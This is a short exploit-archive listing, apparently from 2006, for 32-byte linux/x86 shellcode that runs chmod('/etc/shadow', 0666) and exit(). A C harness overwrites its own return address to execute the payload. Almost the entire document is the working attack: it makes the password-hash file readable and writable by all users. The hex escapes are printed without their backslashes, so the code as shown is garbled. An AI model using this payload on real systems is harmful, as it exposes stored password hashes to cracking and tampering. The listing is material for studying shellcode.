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# Title : linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 eject/close cd-rom loop (follows /dev/cdrom symlink) 45 bytes
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/*
 * (linux/x86) chmod("/etc/shadow", 0666) + exit() - 32 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax0f"              // push $0xf 
	"x58"                  // pop %eax 
	"x31xc9"              // xor %ecx,%ecx 
	"x51"                  // push %ecx 
	"x66xb9xb6x01"      // mov $0x1b6,%cx 
	"x68x61x64x6fx77"  // push $0x776f6461 
	"x68x63x2fx73x68"  // push $0x68732f63 
	"x68x2fx2fx65x74"  // push $0x74652f2f 
	"x89xe3"              // mov %esp,%ebx 
	"xcdx80"              // int $0x80 
	"x40"                  // inc %eax 
	"xcdx80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]